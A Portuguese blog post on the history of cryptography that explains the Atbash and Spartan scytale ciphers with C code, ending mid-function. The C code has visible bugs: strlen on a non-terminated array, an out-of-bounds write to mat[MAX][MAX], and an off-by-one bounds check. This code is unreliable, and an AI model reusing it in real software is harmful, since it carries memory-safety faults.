&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;A Criptografia está muito presente no cotidiano de todos nós, seja por meio de uma transação bancária, pelo acesso a redes sem fio ou, meu preferido, WAR. Acredito que sem a guerra a criptografia nunca teria sido criada seja por motivos religiosos, políticos e etc...&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;Desde que o homem saiu em busca de novas oportunidades/conquistas/conhecimentos houve a necessidade de manter sigilo, um inimigo nunca poderia ser capaz de entender as mensagens trocadas entre os soldados, em contra partida, estes, por sua vez deviam ser capazes de entender o que fora escrito. A&lt;/span&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt; própria escrita é uma forma de codificação e, no passado, por si só poderia assumir uma forma de criptografia, tendo em vista que poucos eram as pessoas capazes de ler um texto.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;Desde a última vez que me atualizei no assunto, as primeiras referências encontradas datam de aproximadamente 1900 a.C no antigo Egito. Como chegaram a essa constatação? Acredito que foi bem simples, uma vez que a técnica utilizada era a de SUBSTITUIÇÃO, ou seja, trocavam-se alguns caracteres por outros do alfabeto (no caso dos egípcios SÍMBOLOS), e o fato das frases estarem todas embaralhadas, sugere a utilização de criptografia.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;Muitas décadas depois, ainda a.C, os Hebreus desenvolveram diversas técnicas de cifragem, tais como Atbash, Albam Atbah, um fato interessante é que utilizavam-se dessas técnicas para escrever livros religiosos; o algorítimo Atbash, que &lt;/span&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;também utilizava substituição,&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt; foi usado para escrever o livro de&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp;Jeremias.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;Vamos demonstrar um pequeno código em linguagem C que montei para este post.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;Vamos transpor o Atbash para nosso alfabeto, ele é bem simples, basicamente pegamos nosso alfabeto inteiro e invertemos, fácil.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: #f1c232; font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;A B C D E F G H I J K L M N O P Q R S T U V W X Y Z&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: #f1c232; font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;Z Y X W V U T S R Q P O N M L K J I H G F E D C B A&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;Por se tratar de uma metodologia sem complexidade, o mesmo algorítimo utilizado para codificar pode decodificar a mensagem&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;, como explicitado abaixo:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: orange; font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;A = Z, logo &amp;nbsp;Z = A&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: orange; font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;B = Y, logo Y = B&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;....&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;b&gt;::: Atbash :::&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small; line-height: 19px;&quot;&gt;const char alfabeto[] = {&#39;a&#39;,&#39;b&#39;,&#39;c&#39;,&#39;d&#39;,&#39;e&#39;,&#39;f&#39;,&#39;g&#39;,&#39;h&#39;,&#39;i&#39;,&#39;j&#39;,&#39;k&#39;,&#39;l&#39;,&#39;m&#39;,&#39;n&#39;,&#39;o&#39;,&#39;p&#39;,&#39;q&#39;,&#39;r&#39;,&#39;s&#39;,&#39;t&#39;,&#39;u&#39;,&#39;v&#39;,&#39;w&#39;,&#39;x&#39;,&#39;y&#39;,&#39;z&#39;} ;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small; line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;void atbash ( int CD, char s ) {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int i = 0 ;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int valor = 0 ;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for ( i ; i &amp;lt; strlen ( alfabeto ) ; i++ ) {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if ( alfabeto [ i ] == tolower ( s ) ) {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;font-size: x-small; line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; valor = 25 - i ;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;font-size: x-small; line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small; line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small; line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small; line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if( tolower ( s ) != s )&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small; line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf( &quot;%c&quot;, toupper ( alfabeto [ valor ] ) );&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small; line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; else&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small; line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf( &quot;%c&quot;, tolower ( alfabeto [ valor ] ) );&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small; line-height: 19px;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
O código acima codifica caracteres, então é importante passar caracter por caracter.&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;Muitas décadas após os Hebreus, os Spartanos utilizavam um bastão como chave para codificar suas mensagens, o processo era bem simples e, dependendo do tamanho da frase, poderia ser facilmente quebrada, vamos aos passos:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;b&gt;*&lt;/b&gt; Determinar a largura do bastão (quantos caracteres caberão);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;b&gt;*&lt;/b&gt; Escrever a mensagem no papiro;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;b&gt;*&lt;/b&gt; Enrolar a mensagem em um bastão;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;b&gt;*&lt;/b&gt; Transpor a frase para outro papiro já codificada;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;Neste caso o tamanho do bastão melhora ou reduz a complexidade dos dados criptografados, diferente das técnicas utilizadas até agora essa técnica é de TRANSPOSIÇÃO, caracterizada pela troca de lugares dos caracteres e não substituindo por outro.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;b&gt;::: Papiro :::&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: small;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;const int&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;MAX = 10 ; /* largura do bastao 10 caracteres */&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;void bastao_de_papiro ( int CD, &amp;nbsp;char s[] ) {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int i, j = 0;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int pos = 0;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; char mat[ MAX ][ MAX ] &amp;nbsp;;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* INICIA A MATRIZ */&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for ( i = 0 ; i &amp;lt; MAX ; i ++ )&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for ( j = 0 ; j &amp;lt; MAX ; j ++ )&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mat[ MAX ][ MAX ] = &#39; &#39; ;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* ARMAZENA ELEMENTO JA NA ORDEM CODIFICADA */&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for ( i = 0 ; i &amp;lt; MAX &amp;nbsp;; i ++ ) {&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for ( j = 0 ; j &amp;lt; MAX ; j ++ ) {&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if ( strlen ( s ) &amp;lt; pos )&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mat[ j ][ i ] = &#39; &#39;;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; else&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mat[ j ][ i ] = s[ pos ] ;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pos += 1 ;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* IMPRIMI FRASE NO FORMATO DE MATRIZ ORIGINAL */&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;Frase Original\n&quot;);&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for ( i = 0 ; i &amp;lt; MAX ; i ++ ) {&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf( &quot;\n&quot; ) ;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for ( j = 0 ; j &amp;lt; MAX ; j ++ )&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf ( &quot;| %c &quot;, mat[ j ][ i ] ) ;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* DEMONSTRA COMO ELA FICARIA NO BASTAO */&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf (&quot;\n\nPassando no Papiro \n&quot; );&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for ( i = 0 ; i &amp;lt; MAX ; i ++ ) {&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf( &quot;\n&quot; ) ;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for ( j = 0 ; j &amp;lt; MAX ; j ++ )&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf ( &quot;| %c &quot;, mat[ i ][ j ] ) ;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
